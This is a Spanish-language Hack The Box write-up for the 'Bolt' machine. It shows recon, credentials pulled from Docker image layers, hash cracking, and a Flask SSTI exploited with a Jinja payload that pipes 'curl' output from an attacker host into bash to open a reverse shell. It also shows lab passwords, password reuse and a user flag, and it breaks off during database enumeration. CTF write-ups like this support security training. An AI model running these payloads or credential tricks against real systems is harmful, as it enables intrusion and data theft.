This page looks best with JavaScript enabled

Hack The Box - Bolt

 •  ✍️ sckull

En Bolt analizamos una imagen de docker donde descubrimos una vulnerabilidad SSTI en una aplicación de Flask, esto nos permitio el acceder al primer usuario. Credenciales almacenadas nos permitieron obtener acceso a un segundo usuario. Finalmente obtuvimos en texto plano las credenciales del superusuario con una clave privada en una extensión de Google Chrome.

Nombre Bolt box_img_maker
OS

Linux

Puntos 30
Dificultad Media
IP 10.10.11.114
Maker

d4rkpayl0ad


TheCyberGeek

Matrix
{
   "type":"radar",
   "data":{
      "labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
      "datasets":[
         {
            "label":"User Rate",  "data":[7.3, 5.8, 4.7, 5.3, 4.2],
            "backgroundColor":"rgba(75, 162, 189,0.5)",
            "borderColor":"#4ba2bd"
         },
         { 
            "label":"Maker Rate",
            "data":[10, 10, 10, 0, 0],
            "backgroundColor":"rgba(154, 204, 20,0.5)",
            "borderColor":"#9acc14"
         }
      ]
   },
    "options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
            "angleLines":{"color":"rgba(255, 255, 255,0.6)"},
            "gridLines":{"color":"rgba(255, 255, 255,0.6)"}
        }
    }
}

Recon

Nmap

nmap muestra multiples puertos abiertos: http/s (80, 443), SSH (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# Nmap 7.91 scan initiated Mon Sep 27 16:41:41 2021 as: nmap -p22,80,443 -sC -sV -o nmap_scan 10.10.11.114
Nmap scan report for 10.10.11.114 (10.10.11.114)
Host is up (0.17s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 27 16:42:09 2021 -- 1 IP address (1 host up) scanned in 28.19 seconds

Web Site

Inicialmente encontramos un dominio y subdominio en nmap el cual agregamos a nuestro archivo /etc/hosts, encontramos un sitio web en el que ofrecen diferentes servicios y vemos algunos nombres que podrian ser utilizados como usuarios o contraseñas.
image

Vemos en el formulario de contacto (/contact) dos emails.
image

En la pagina /download encontramos una direccion para descargar una imagen de docker.
image

Passbolt

Al visitar el subdominio en HTTPS encontramos passbolt un gestor de contraseñas que pregunta por un email.
image

Docker

Al descargar el archivo .tar que encontramos en /download y cargarlo localmente vemos diferentes “capas”, el peso y nombre del repositorio o imagen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
sckull@tars:~/docker$ sudo docker load < image.tar 
3fc64803ca2d: Loading layer [==================================================>]  4.463MB/4.463MB
73f2f98bc222: Loading layer [==================================================>]   7.68kB/7.68kB
8f2df5d06a26: Loading layer [==================================================>]  62.86MB/62.86MB
a1e4f9dc4110: Loading layer [==================================================>]  57.57MB/57.57MB
f0c4120bc314: Loading layer [==================================================>]  29.79MB/29.79MB
14ec2ed1c30d: Loading layer [==================================================>]  6.984MB/6.984MB
68c03965721f: Loading layer [==================================================>]  3.072kB/3.072kB
fec67b58fd48: Loading layer [==================================================>]  19.97kB/19.97kB
7fa1531c7420: Loading layer [==================================================>]  7.168kB/7.168kB
e45bbea785e3: Loading layer [==================================================>]  15.36kB/15.36kB
ac16908b339d: Loading layer [==================================================>]  8.192kB/8.192kB
Loaded image: flask-dashboard-adminlte_appseed-app:latest
sckull@tars:~/docker$ sudo docker images
REPOSITORY                             TAG       IMAGE ID       CREATED        SIZE
flask-dashboard-adminlte_appseed-app   latest    859e74798e6c   6 months ago   154MB
sckull@tars:~/docker$

APP

Tras ejecutar y acceder al contenedor encontramos la configuración de la aplicación web, vemos credenciales de bases de datos y algunas “Secret keys”, tambien se observa la configuración de correo electronico. Si bien en la configuración de sqlite se menciona el archivo db.sqlite3 este no existe dentro del contenedor.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/ # cat .env 
DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass
/ # ls
__pycache__       config.py         gunicorn-cfg.py   media             requirements.txt  run.py            sys               var
app               dev               home              mnt               root              sbin              tmp
bin               etc               lib               proc              run               srv               usr
/ # cat config.py 
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""

import os
from   decouple import config

class Config(object):

    basedir    = os.path.abspath(os.path.dirname(__file__))

    # Set up the App SECRET_KEY
    SECRET_KEY = config('SECRET_KEY', default='S#perS3crEt_007')

    # This will create a file in <app> FOLDER
    SQLALCHEMY_DATABASE_URI = 'sqlite:///' + os.path.join(basedir, 'db.sqlite3')
    SQLALCHEMY_TRACK_MODIFICATIONS = False
    MAIL_SERVER = 'localhost'
    MAIL_PORT = 25
    MAIL_USE_TLS = False
    MAIL_USE_SSL = False
    MAIL_USERNAME = None
    MAIL_PASSWORD = None
    DEFAULT_MAIL_SENDER = 'support@bolt.htb'

class ProductionConfig(Config):
    DEBUG = False

    # Security
    SESSION_COOKIE_HTTPONLY  = True
    REMEMBER_COOKIE_HTTPONLY = True
    REMEMBER_COOKIE_DURATION = 3600

    # PostgreSQL database
    SQLALCHEMY_DATABASE_URI = '{}://{}:{}@{}:{}/{}'.format(
        config( 'DB_ENGINE'   , default='postgresql'    ),
        config( 'DB_USERNAME' , default='appseed'       ),
        config( 'DB_PASS'     , default='pass'          ),
        config( 'DB_HOST'     , default='localhost'     ),
        config( 'DB_PORT'     , default=5432            ),
        config( 'DB_NAME'     , default='appseed-flask' )
    )

class DebugConfig(Config):
    DEBUG = True

# Load all possible configurations
config_dict = {
    'Production': ProductionConfig,
    'Debug'     : DebugConfig
}
/ #

Vemos en /app dos “modulos” utilizando blueprints de flask.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/app # ls -lah
total 24
drwxr-xr-x    1 root     root        4.0K Mar  5  2021 .
drwxr-xr-x    1 root     root        4.0K Sep 28 05:52 ..
-rw-r--r--    1 root     root        1.0K Mar  5  2021 __init__.py
drwxr-xr-x    1 root     root        4.0K Mar  5  2021 __pycache__
drwxr-xr-x    1 root     root        4.0K Mar  5  2021 base
drwxr-xr-x    1 root     root        4.0K Mar  5  2021 home
/app # cat __init__.py
# -*- encoding: utf-8 -*-
"""
Copyright (c) 2019 - present AppSeed.us
"""

from flask import Flask, url_for
from flask_login import LoginManager
from flask_sqlalchemy import SQLAlchemy
from importlib import import_module
from logging import basicConfig, DEBUG, getLogger, StreamHandler
from os import path

db = SQLAlchemy()
login_manager = LoginManager()

def register_extensions(app):
    db.init_app(app)
    login_manager.init_app(app)

def register_blueprints(app):
    for module_name in ('base', 'home'):
        module = import_module('app.{}.routes'.format(module_name))
        app.register_blueprint(module.blueprint)

def configure_database(app):

    @app.before_first_request
    def initialize_database():
        db.create_all()

    @app.teardown_request
    def shutdown_session(exception=None):
        db.session.remove()

def create_app(config):
    app = Flask(__name__, static_folder='base/static')
    app.config.from_object(config)
    register_extensions(app)
    register_blueprints(app)
    configure_database(app)
    return app
/app #

Base

El modulo base pareciera ser “parte” del sitio web en el puerto 80 ya que se muestra plantillas y rutas similares.
image

Algo que podríamos destacar es el metodo para encriptar las contraseñas basado en MD5 y que además este modulo solo presenta información estatica sin ninguna otra funcionalidad más que la de registro, login y logout, al menos en esta capa del contenedor.

1
2
3
4
def hash_pass( password ):
    """Hash a password for storing."""
    password = crypt.crypt(password,crypt.METHOD_MD5)
    return ( password.encode('utf-8') )

Tras registrar un usuario (localmente) vemos una plantilla estatica que no se muestra en el codigo del modulo Base.
image

Home

El modulo “home” muestra algunas runtas, una de ellas es /example-profile que obtiene algunas variables por el metodo POST, que son utilizadas para crear un correo que antes de renderizar la plantilla definida es enviado al usuario “actual”, en el proceso inserta información a la base de datos y crea una URL de confirmación utilizando la funcion o ruta confirm_changes() junto con una plantilla que es enviada en el correo final.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@blueprint.route("/example-profile", methods=['GET', 'POST'])
@login_required
def profile():
    """Profiles"""
    if request.method == 'GET':
        return render_template('example-profile.html', user=user,current_user=current_user)
    else:
        """Experimental Feature"""
        cur_user = current_user
        user = current_user.username
        name = request.form['name']
        experience = request.form['experience']
        skills = request.form['skills']
        msg = Message(
                recipients=[f'{cur_user.email}'],
                sender = 'support@example.com',
                reply_to = 'support@example.com',
                subject = "Please confirm your profile changes"
            )
        try:
            cur_user.profile_update = name
        except:
            return render_template('page-500.html')
        db.session.add(current_user)
        db.session.commit()
        token = ts.dumps(user, salt='changes-confirm-key')
        confirm_url = url_for('home_blueprint.confirm_changes',token=token,_external=True)
        html = render_template('emails/confirm-changes.html',confirm_url=confirm_url)
        msg.html = html
        mail.send(msg)
        return render_template('index.html')

Si vemos la plantilla existe un formulario que envia las variables por metodo POST.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[... snip ...]

<div class="tab-pane" id="settings">
<p>Email verification is required in order to update personal information.</p>
<form class="form-horizontal" action="/example-profile" method="POST">
  <div class="form-group row">
    <label for="inputName2" class="col-sm-2 col-form-label">Name</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputName2" name="name" placeholder="Name">
    </div>
  </div>
  <div class="form-group row">
    <label for="inputExperience" class="col-sm-2 col-form-label">Experience</label>
    <div class="col-sm-10">
      <textarea class="form-control" id="inputExperience" name="experience" placeholder="Experience"></textarea>
    </div>
  </div>
  <div class="form-group row">
    <label for="inputSkills" class="col-sm-2 col-form-label">Skills</label>
    <div class="col-sm-10">
      <input type="text" class="form-control" id="inputSkills" name="skills" placeholder="Skills">
    </div>
  </div>
  <div class="form-group row">
    <div class="offset-sm-2 col-sm-10">
      <div class="checkbox">
        <label>
          <input type="checkbox"> I agree to the <a href="#">terms and conditions</a>
        </label>
      </div>
    </div>
  </div>
  <div class="form-group row">
    <div class="offset-sm-2 col-sm-10">
      <button type="submit" class="btn btn-danger">Submit</button>
    </div>
  </div>
</form>
</div>

[... snip ...]

La ruta o funcion confirm_changes() obtiene el nombre del usuario que es utilizado en la plantilla para ser enviado por correo electronico utilizando render_template_string() lo que supone una vulnerabilidad de SSTI ya que name es aceptada como variable en /example-profile, puede ser modificada y no existe algun tipo de “filtro”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
@blueprint.route('/confirm/changes/<token>')
def confirm_changes(token):
    """Confirmation Token"""
    try:
        email = ts.loads(token, salt="changes-confirm-key", max_age=86400)
    except:
        abort(404)
    user = User.query.filter_by(username=email).first_or_404()
    name = user.profile_update
    template = open('templates/emails/update-name.html', 'r').read()
    msg = Message(
            recipients=[f'{user.email}'],
            sender = 'support@example.com',
            reply_to = 'support@example.com',
            subject = "Your profile changes have been confirmed."
        )
    msg.html = render_template_string(template % name)
    mail.send(msg)

    return render_template('index.html')

Vemos en la plantilla que es utilizada literal la variable “name”, tras enviar el correo el nombre aparecerá en esta plantilla.

1
2
3
4
5
6
<html>
        <body>
                <p> %s </p>
                <p> This e-mail serves as confirmation of your profile username changes.</p>
        </body>
</html>

Vulnerabilidad

Como pequeño resumen, la ruta /example-profile obtiene datos para actualizar el perfil, tras la confirmación por url se realizan los cambios y, estos son son enviados por correo electronico. Si deseamos explotar la vulnerabilidad SSTI debemos de enviar codigo en la variable name y, el resultado de la ejecucion se mostraría en el correo recibido por el usuario que realiza la actualizacion.

Las rutas no pueden ser accedidas, se muestra un error Internal Server Error. Además este modulo es el encargado de mostrar todas las plantillas (route_template()) tras acceder con el login.

Imagen

Si listamos el historial de la imagen vemos diferentes cambios algunos mas pesados que otros.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
sckull@tars:~/docker$ sudo docker history 859e74798e6c
IMAGE          CREATED        CREATED BY                                      SIZE      COMMENT
859e74798e6c   6 months ago   gunicorn --config gunicorn-cfg.py run:app       3.93kB    
<missing>      6 months ago   sh                                              8.49kB    
<missing>      6 months ago   gunicorn --config gunicorn-cfg.py run:app       6B        
<missing>      6 months ago   gunicorn --config gunicorn-cfg.py run:app       16.4kB    
<missing>      6 months ago   gunicorn --config gunicorn-cfg.py run:app       6B        
<missing>      6 months ago   gunicorn --config gunicorn-cfg.py run:app       6.95MB    
<missing>      6 months ago   /bin/sh -c #(nop)  CMD ["gunicorn" "--config…   0B        
<missing>      6 months ago   /bin/sh -c #(nop)  EXPOSE 5005                  0B        
<missing>      6 months ago   /bin/sh -c pip3 install -r requirements.txt     28.3MB    
<missing>      6 months ago   /bin/sh -c apk --update add python3 py3-pip     53MB      
<missing>      6 months ago   /bin/sh -c #(nop) COPY dir:f385c9405a9b189a6…   61.2MB    
<missing>      6 months ago   /bin/sh -c #(nop) COPY multi:e0a96f9a5ad90dc…   2.86kB    
<missing>      6 months ago   /bin/sh -c #(nop)  ENV FLASK_APP=run.py         0B        
<missing>      2 years ago    /bin/sh -c #(nop)  CMD ["/bin/sh"]              0B        
<missing>      2 years ago    /bin/sh -c #(nop) ADD file:aa17928040e31624c…   4.21MB    
sckull@tars:~/docker$

El archivo de imagen es un .tar por lo que al extraerlo vemos las diferentes capas, en el archivo repositories se describe la más reciente y en el archivo manifest los nombres de las diferentes capas. Si seguimos el orden de las capas (“historial”) que se muestran encontramos información que no está en el estado actual de la imagen. Primero (en la capa 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad), vemos en el archivo de rutas del modulo base la ruta /register durante el registro pregunta por un codigo de invitacion mismo que se muestra en elcodigo fuente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
    login_form = LoginForm(request.form)
    create_account_form = CreateAccountForm(request.form)
    if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code      = request.form['invite_code']
        if code != 'XNSS-HSJW-3NGU-8XTJ':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'XNSS-HSJW-3NGU-8XTJ':
            # Check usename exists
            user = User.query.filter_by(username=username).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Username already registered',
                                    success=False,
                                    form=create_account_form)

            # Check email exists
            user = User.query.filter_by(email=email).first()
            if user:
                return render_template( 'accounts/register.html', 
                                    msg='Email already registered', 
                                    success=False,
                                    form=create_account_form)

            # else we can create the user
            user = User(**request.form)
            db.session.add(user)
            db.session.commit()

            return render_template( 'accounts/register.html', 
                                msg='User created please <a href="/login">login</a>', 
                                success=True,
                                form=create_account_form)

    else:
        return render_template( 'accounts/register.html', form=create_account_form)

Tambien encontramos (en a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2) un archivo de base de datos SQLite donde observamos las credenciales del usuario admin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
sckull@tars:~/docker/image/image/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2$ ls
db.sqlite3  json  layer.tar  root  tmp  VERSION
sckull@tars:~/docker/image/image/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2$ sqlite3 
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open db.sqlite3
sqlite> .tables
User
sqlite> .schema User
CREATE TABLE IF NOT EXISTS "User" (
        id INTEGER NOT NULL, 
        username VARCHAR, 
        email VARCHAR, 
        password BLOB, 
        email_confirmed BOOLEAN, 
        profile_update VARCHAR(80), 
        PRIMARY KEY (id), 
        UNIQUE (username), 
        UNIQUE (email)
);
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||
sqlite>

Password Cracking

Ejecutamos john con el wordlist rockyou.txt, con ello obtuvimos la contraseña en texto plano.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
 π ~/htb/bolt ❯ vim hash_admin
 π ~/htb/bolt ❯ cat hash_admin
$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.
  π ~/htb/bolt ❯ john hash_admin --wordlist=$ROCK
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt         (?)
1g 0:00:00:00 DONE (2021-09-27 17:19) 1.639g/s 283278p/s 283278c/s 283278C/s doida..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed
 π ~/htb/bolt ❯ 

AdminLTE

En el dominio principal encontramos un login donde logramos ingresar utilizando las credenciales de la base de datos SQLite. Vemos que es muy diferente a los modulos del contenedor. En el dashboard vemos una conversacion de chat donde se menciona una demo restringida y un nombre (Eddie).
image

Directory Brute Forcing

Tras ejecutar feroxbuster no encontramos una direccion relacionada a la demo. Además las direcciones relacionadas al modulo “home” no se encuetran en este sitio.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/bolt ❯ feroxbuster -u http://bolt.htb -w $MD

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.3.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://bolt.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.3.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
308        4l       24w      239c http://bolt.htb/index
200      173l      564w     9287c http://bolt.htb/login
200      346l     1141w    18570c http://bolt.htb/download
200      468l     1458w    26293c http://bolt.htb/contact
200      199l      639w    11038c http://bolt.htb/register
200      405l     1419w    22443c http://bolt.htb/services
500        4l       40w      290c http://bolt.htb/profile
200      549l     2014w    31731c http://bolt.htb/pricing
302        4l       24w      209c http://bolt.htb/logout

Subdominios

Utilizamos ffuf para enumerar subdominios, vemos dos nuevos mail y demo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 π ~/htb/bolt ❯ ffuf -w bitquark-subdomains-top100000.txt -H "Host: FUZZ.bolt.htb" -u http://bolt.htb -fs 30347

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://bolt.htb
 :: Wordlist         : FUZZ: bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.bolt.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 30347
________________________________________________

mail                    [Status: 200, Size: 4943, Words: 345, Lines: 99]
demo                    [Status: 302, Size: 219, Words: 22, Lines: 4]
:: Progress: [100000/100000] :: Job [1/1] :: 164 req/sec :: Duration: [0:11:41] :: Errors: 0 ::

User - www-data

Webmail

En el subdominio mail encontramos un login las credenciales del usuario admin no funcionan.
image

Tomando en cuenta la cookie todo indica que es Roundcube Webmail.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/bolt ❯ curl -sI http://mail.bolt.htb/
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 29 Sep 2021 01:30:09 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: roundcube_sessid=6mvcdpffsfu9uru6h2ih8idlj9; path=/; HttpOnly
Expires: Wed, 29 Sep 2021 01:30:09 GMT
Last-Modified: Wed, 29 Sep 2021 01:30:09 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Frame-Options: sameorigin
Content-Language: en

Demo

En el subdominio demo encontramos un login donde tampoco funcionaron las credenciales, sin embargo en este es posible registrar un usuario con un correo utilizando el codigo de invitacion.
image

Tras ingresar vemos un dashboard similar al modulo Base, además vemos el formulario del modulo Home que podria tener una vulnerabilidad SSTI.
image

SSTI

Intentamos explotar la vulnerabilidad enviando un pequeño print ({% print('x'*8) %}), la respuesta fue una redireccion al dashobard.
image

En la app no encontramos ninguna ruta para verificar correos electronicos, sin embargo al registrar un usuario tambien se registra un correo. Utilizando Webmail logramos acceder con las credenciales de registro, donde encontramos un correo con la url de confirmacion.
image

Tras visitar la url de confirmación recibimos un segundo correo con el resultado del codigo ejecutado ({% print('x'*8) %}). Como se suponia (Vulnerabilidad App) existe una vulnerabilidad.
image

Nuevamente enviamos un payload para ejecutar comandos y vemos que el usuario es www-data.
image

Shell

Ejecutamos una shell inversa lo que nos permitio acceder a la maquina como www-data.

1
2
3
4
5
6
# local
# https://github.com/sckull/shells
wget -q https://shell.infosecjack.me/10.10.10.10:1338 -O x
python3 -m http.server 80 
# payload
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.10.10.10/x|bash').read()}}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
 π ~/htb/bolt ❯ rlwrap nc -lvp 1338
listening on [any] 1338 ...
connect to [10.10.14.30] from passbolt.bolt.htb [10.10.11.114] 55904
/bin/sh: 0: can't access tty; job control turned off
which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@bolt:~/demo$ pwd
/var/www/demo
www-data@bolt:~/demo$ whoami
www-data
www-data@bolt:~/demo$

User - Eddie

Enumerando los diferentes archivos de configuración nos topamos con el archivo de passbolt (passbolt.php) que contiene la contraseña de configuración de la base de datos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
www-data@bolt:/etc/passbolt$ ls
app.default.php        default.php   passbolt.default.php  schema
app.php            file_storage.php  passbolt.php          Seeds
bootstrap_cli.php      gpg       paths.php         version.php
bootstrap.php          Migrations    requirements.php
bootstrap_plugins.php  nginx-ssl.conf    routes.php
www-data@bolt:/etc/passbolt$ cat passbolt.php
<?php
[... snip ...]
return [
    'App' => [
        // A base URL to use for absolute links.
        // The url where the passbolt instance will be reachable to your end users.
        // This information is need to render images in emails for example
        'fullBaseUrl' => 'https://passbolt.bolt.htb',
    ],

    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'rT2;jW7<eY8!dX8}pQ8%',
            'database' => 'passboltdb',
        ],
    ],

[... snip ...]
www-data@bolt:/etc/passbolt$

Utilizamos esta contraseña con el usuario Eddie, obtuvimos una shell y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
www-data@bolt:/etc/passbolt$ su eddie
Password: rT2;jW7<eY8!dX8}pQ8%
eddie@bolt:/etc/passbolt$ whoami; id
eddie
uid=1000(eddie) gid=1000(eddie) groups=1000(eddie)
eddie@bolt:/etc/passbolt$ cd
eddie@bolt:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt
eddie@bolt:~$ cat user.txt
ed881799d29ad1ec560f5462c5cdf4c1
eddie@bolt:~$

Privesc

Passbolt DB

Con las credenciales de passbolt enumeramos la base de datos. Encontramos dos usuarios registrado: eddie y clark.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb  |
+-----------------------+
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+
25 rows in set (0.01 sec)

mysql> select * from users;
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| id                                   | role_id                              | username       | active | deleted | created             | modified            |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | 1cfcd300-0664-407e-85e6-c11664a7d86c | eddie@bolt.htb |      1 |       0 | 2021-02-25 21:42:50 | 2021-02-25 21:55:06 |
| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | 975b9a56-b1b1-453c-9362-c238a85dad76 | clark@bolt.htb |      1 |       0 | 2021-02-25 21:40:29 | 2021-02-25 21:42:32 |
+--------------------------------------+--------------------------------------+----------------+--------+---------+---------------------+---------------------+
2 rows in set (0.01 sec)

mysql>

En la tabla de gpgkeys encontramos claves publicas de los usuarios registrados.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
mysql> describe gpgkeys;
+-------------+--------------+------+-----+---------+-------+
| Field       | Type         | Null | Key | Default | Extra |
+-------------+--------------+------+-----+---------+-------+
| id          | char(36)     | NO   | PRI | NULL    |       |
| user_id     | char(36)     | NO   |     | NULL    |       |
| armored_key | text         | NO   |     | NULL    |       |
| bits        | int          | YES  |     | 2048    |       |
| uid         | varchar(128) | NO   |     | NULL    |       |
| key_id      | varchar(16)  | NO   |     | NULL    |       |
| fingerprint | varchar(51)  | NO   | MUL | NULL    |       |
| type        | varchar(16)  | YES  |     | NULL    |       |
| expires     | datetime     | YES  |     | NULL    |       |
| key_created | datetime     | YES  |     | NULL    |       |
| deleted     | tinyint(1)   | NO   |     | 0       |       |
| created     | datetime     | NO   |     | NULL    |       |
| modified    | datetime     | NO   |     | NULL    |       |
+-------------+--------------+------+-----+---------+-------+
13 rows in set (0.00 sec)

mysql> select user_id,armored_key from gpgkeys;
[... snip ... ]
| user_id                              | armored_key |
[... snip ... ]

| 9d8a0452-53dc-4640-b3a7-9a3d86b0ff90 | -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xsBNBGA4GX0BCAD2MdBV19tAu+SWkMJ0BkvGdQrLquHg1olUvvhvIWmmBICr
eA89HnYYKFoOxnCL1yhpArtf379rFTZJDXzbzXlnCvgZzP71MNYo2Pq3l0Zn
[... snip ... ]
IadG59FrSdK+n8vXPNPcYUcm1F6ddDGvsxjBNwCX00jDNL3Gp7fPqKQjQCh0
pMIO+51kn9QRJJP/XmJrOw2mTheT20DT26JX/K947oi/pAe8xGHrCKAqWiZ5
AeAgt0l0AiCdPTQ=
=axZz
-----END PGP PUBLIC KEY BLOCK-----
 |
| 4e184ee6-e436-47fb-91c9-dccb57f250bc | -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xsBNBGA4G2EBCADbpIGoMv+O5sxsbYX3ZhkuikEiIbDL8JRvLX/r1KlhWlTi
